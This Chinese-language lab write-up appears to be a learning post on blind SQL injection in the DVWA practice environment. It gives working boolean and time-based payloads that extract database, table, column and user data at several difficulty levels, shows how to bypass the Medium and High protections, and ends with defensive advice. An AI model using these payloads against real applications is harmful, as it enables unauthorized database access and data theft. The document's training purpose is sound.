DVWA靶场之SQL Injection (Blind)学习分享
字数 1339 2025-08-24 20:49:31
SQL Injection (Blind) 漏洞学习与利用指南
一、SQL盲注概述
SQL盲注(Blind SQL Injection)是一种特殊类型的SQL注入攻击,与常规SQL注入不同之处在于:
- 应用不会返回数据库错误信息
- 查询结果不会直接显示在页面上
- 攻击者只能通过应用的不同响应(如布尔值或时间延迟)来推断信息
二、DVWA靶场中的SQL盲注漏洞
1. Low级别漏洞分析
漏洞特征:
- 对参数id没有任何检查或过滤
- 查询结果只有两种:"User ID exists in the database"或"User ID is MISSING from the database"
- 典型的布尔盲注场景
利用方法:
-
验证漏洞存在:
- 输入:
lucy→ 返回True - 输入:
lucy'→ 返回False
- 输入:
-
判断数据库长度:
lucy' or length(database())>4-- q # False lucy' or length(database())>3-- q # True结论:数据库名长度为4
-
逐字符猜解数据库名:
lucy' or (substr(database(),1,1))='d'-- q # True最终确定数据库名为"dvwa"
-
猜解表名:
lucy' or (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g'-- q最终得到表名:guestbook, users
-
猜解字段名:
lucy' or (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='u'-- q最终字段:user_id, first_name, last_name, user, password, avatar, last_login, failed_login
-
提取数据:
lucy' or (substr((select user from users limit 0,1),1,1))='a'-- q
2. Medium级别漏洞分析
防护措施:
- 使用
mysql_real_escape_string函数转义特殊字符(\x00,\n,\r,,',",\x1a) - 前端使用下拉选择表单限制输入
绕过方法:
- 通过抓包修改id参数
- 使用基于布尔的盲注技术
利用示例:
1 or length(database())=4 #
3. High级别漏洞分析
防护措施:
- 通过cookie传递参数id
- 查询结果为空时执行
sleep(seconds)干扰基于时间的盲注 - SQL查询中添加LIMIT 1限制输出
利用方法:
- 修改cookie中的id参数:
1' and length(database())=4 # - 判断字段数:
(0×7573657273为"users"的16进制)1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #
4. Impossible级别防护措施
有效防护手段:
- 采用PDO技术,分离代码与数据
- 只有返回的查询结果数量为一时才会输出
- 加入Anti-CSRFtoken机制
三、SQL盲注技术总结
1. 布尔盲注技术
- 利用条件语句构造真/假查询
- 通过页面返回的不同响应推断信息
- 常用函数:length(), substr(), ascii()
2. 时间盲注技术
- 利用条件时间延迟函数(如sleep())
- 通过响应时间差异判断条件真假
- 常用语句:
if(condition,sleep(5),0)
3. 自动化工具使用
- 可使用Burp Suite的Intruder模块自动化猜解过程
- 设置payload类型为"Brute forcer"或"Cluster bomb"
- 配置Grep-Match来识别成功响应
四、防御建议
- 使用参数化查询(PDO/prepared statements)
- 实施严格的输入验证和过滤
- 限制数据库用户权限
- 对敏感操作实施多因素认证
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
通过系统学习SQL盲注的原理和利用技术,安全人员可以更好地理解这类漏洞的危害,并采取有效措施进行防护。